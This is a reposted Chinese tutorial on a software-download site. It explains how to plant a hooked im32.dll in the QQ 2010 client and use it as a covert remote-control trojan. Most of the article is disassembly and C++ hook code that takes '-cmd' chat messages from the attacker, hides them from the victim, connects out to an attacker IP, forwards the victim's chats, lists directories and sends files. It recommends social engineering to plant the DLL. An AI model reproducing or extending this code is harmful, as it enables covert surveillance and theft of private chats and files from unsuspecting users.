西西軟件園多重安全檢測下載網(wǎng)站、值得信賴的軟件下載站!
軟件
軟件
文章
搜索

首頁編程開發(fā)其它知識 → 利用qq2010聊天信息獲取 打造自己的遠程控制

利用qq2010聊天信息獲取 打造自己的遠程控制

前往專題相關(guān)軟件相關(guān)文章發(fā)表評論 來源:http://bbs.pediy.com/showthread.php?t=121037時間:2010/11/15 14:45:41字體大。A-A+

作者:佚名點擊:681次評論:0次標簽: QQ

  • 類型:QQ 其它大。774KB語言:中文 評分:6.3
  • 標簽:
立即下載
首先,將上文中的附件im32.dll和msimg32.dll放入QQ的Bin目錄下,用OD加載im32.dll,在Hook_SaveMsg的函數(shù)中設(shè)置斷點;然后,加載QQ,運行后,給此QQ發(fā)送一條消息,便命中斷點于Hook_SaveMsg函數(shù)中,Ctrl+F9,便來到如下位置:

代碼:
3119CBCD FF15 6CA92A31 call dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::GetSelfUin
3119CBD3 50 push eax
3119CBD4 68 10542B31 push 312B5410 ; UNICODE "buddy"
3119CBD9 FF15 C4A72A31 call dword ptr [<&KernelUtil.Util::Ms>; KernelUt.Util::Msg::SaveMsg
3119CBDF 8B45 EC mov eax, dword ptr [ebp-14]
3119CBE2 83C4 18 add esp, 18
3119CBE5 3BC3 cmp eax, ebx
3119CBE7 885D FC mov byte ptr [ebp-4], bl
3119CBEA 74 08 je short 3119CBF4
再Ctrl+F9,便來到如下位置:

代碼:
3116B922 8B45 F0 mov eax, dword ptr [ebp-10]
3116B925 8B48 0C mov ecx, dword ptr [eax+C]
3116B928 51 push ecx
3116B929 FF15 58A82A31 call dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::IsPrevented
3116B92F 83C4 04 add esp, 4
3116B932 85C0 test eax, eax
3116B934 0F85 44010000 jnz 3116BA7E
3116B93A 50 push eax
3116B93B 8D55 D0 lea edx, dword ptr [ebp-30]
當看到KernelUt.Util::Contact::IsPrevented這個導(dǎo)出函數(shù)時,感覺這個函數(shù)應(yīng)該是用來判斷是否屏蔽某人對自己的消息的(因為QQ有一個功能是屏蔽此人消息);通過調(diào)試,果如其然,這個IsPrevented函數(shù)的參數(shù)就是對方的QQ號碼,返回值為BOOL值;單步調(diào)試過此函數(shù)后,將eax的零改為一,就不顯示接收到此人消息了。。。
由此引發(fā)的聯(lián)想是,如果我利用qq聊天窗口向?qū)Ψ桨l(fā)送命令,豈不可以達到遠程控制的目的?
具體流程如下:
1.將此im32.dll文件放入對方Bin目錄下,社會工程學(xué)的東西。
2.對方運行加載了此im32.dll的QQ后,可以給對方發(fā)送命令,達到遠程控制的目的。
如:
-cmd ip 127.0.0.1 //給對方發(fā)送自己的ip地址;此時,im32.dll會使用UDP連接此ip。
-cmd msg //實時發(fā)送聊天信息給對方。
-cmd dir D:\*.* //枚舉某一目錄下的所有文件,并發(fā)給對方。
-cmd file D:\123.txt //發(fā)送某文件給對方。
更多的功能可以自己添加。
實現(xiàn)代碼如下:

代碼:
HANDLE Hook_SaveMsg(wchar_t const * str, unsigned long dstqq, unsigned long srcqq, unsigned long data3,
struct ITXMsgPack * pmsg, struct ITXData * pdata)
{
bCmd=FALSE;
wchar_t * msg=NULL;
AbstractMsg((struct ITXMsgPack *)&msg,(DWORD)pmsg);//獲取聊天信息
if(srcqq==QQ)//判斷是否是對方QQ號碼
{
if(msg[0]=='-'&&msg[1]=='c'&&msg[2]=='m'&&msg[3]=='d')//-cmd,判斷是否是命令
{
bCmd=TRUE;//標記是命令
ExecuteCmd(&msg[5]);//命令處理
return 0;//如果是命令,就不SaveMsg,即不保存聊天信息,直接返回
}
}
if(nSendType==1)
{
SendMsg(msg,dstqq,srcqq);//實時發(fā)送聊天信息給對方
}

ChookSaveMsgKey->HookStatus(FALSE);
(MsgSave)SaveMsg(str,dstqq,srcqq,data3,pmsg,pdata);//保存聊天信息
ChookSaveMsgKey->HookStatus(TRUE);

return 0;
}

int Hook_IsPrevented(unsigned long qq)
{
if(qq==QQ&&bCmd)//如果QQ號碼是對方,并且發(fā)送的是命令
{
bCmd=FALSE;//清空標記
return 1;//返回1,即屏蔽此人消息,這樣本方就不會提示收到此信息了,達到利用qq聊天窗口作為命令窗口的目的
}

ChookIsPreventedKey->HookStatus(FALSE);
(IsPrevented)IsOldrevented(qq);
ChookIsPreventedKey->HookStatus(TRUE);

return 0;
}

void ExecuteCmd(wchar_t * cmdkey)
{
//Unicode編碼轉(zhuǎn)換為Multi-Byte編碼
int len = WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), NULL, 0, NULL, NULL);
char * buffer = new char[len + 1];
WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), buffer, len, NULL, NULL);
buffer[len] = '\0';
if(buffer[0]=='i'&&buffer[1]=='p')//ip
{
ConnectServer(&buffer[3]);
}
else if(buffer[0]=='b'&&buffer[1]=='o'&&buffer[2]=='x')//box
{
ShowMessageBox(&buffer[4]);
}
else if(buffer[0]=='m'&&buffer[1]=='s'&&buffer[2]=='g')//msg
{
nSendType=1;
}
else if(buffer[0]=='d'&&buffer[1]=='i'&&buffer[2]=='r')//dir
{
SendDir(&buffer[4]);
}
else if(buffer[0]=='f'&&buffer[1]=='i'&&buffer[2]=='l'&&buffer[3]=='e')//file
{
SendFile(&buffer[5]);
}

delete[] buffer;
}
    qq空間克隆器
    (25)qq空間克隆器
    西西軟件園提供好用的空間克隆器官方免費下載,提到空間相信很多人第一個想到就是如何去美化自己的空間更受好友關(guān)注,空間克隆器,使用它我們就可以瀏覽并一鍵克隆該站所提供的眾多空間主題內(nèi)容。克隆空間的同時還可以選擇保留當前裝扮的所有模塊,更人性化?臻g預(yù)覽功能不用打開瀏覽器,小窗口中直接預(yù)覽空間,簡單實用。...更多>>
    qq空間音樂克隆器
    (8)qq空間音樂克隆器
    空間音樂播放器一直是黃鉆等用戶的特權(quán),就是利用你的虛榮心賺你的錢,不過朋友訪問你的空間能聽到你最喜歡的音樂也確實是一件不錯的事情,要是能免費就更好了。空間音樂克隆器是什么空間音樂克隆器是一款克隆別人空間音樂到自己空間使用的軟件,相當于你可以使用這種軟件來達到免費享受空間音樂播放器的母的。空間音樂克隆器免費下載大全小編主要整理了一些主流的空間音樂克隆器免費給大家分享,也是用戶比較多的幾款,小編都已經(jīng)...更多>>

    相關(guān)評論

    閱讀本文后您有什么感想? 已有人給出評價!

    • 8 喜歡喜歡
    • 3 頂
    • 1 難過難過
    • 5 囧
    • 3 圍觀圍觀
    • 2 無聊無聊

    熱門評論

    最新評論

    發(fā)表評論 查看所有評論(0)

    昵稱:
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    字數(shù): 0/500 (您的評論需要經(jīng)過審核才能顯示)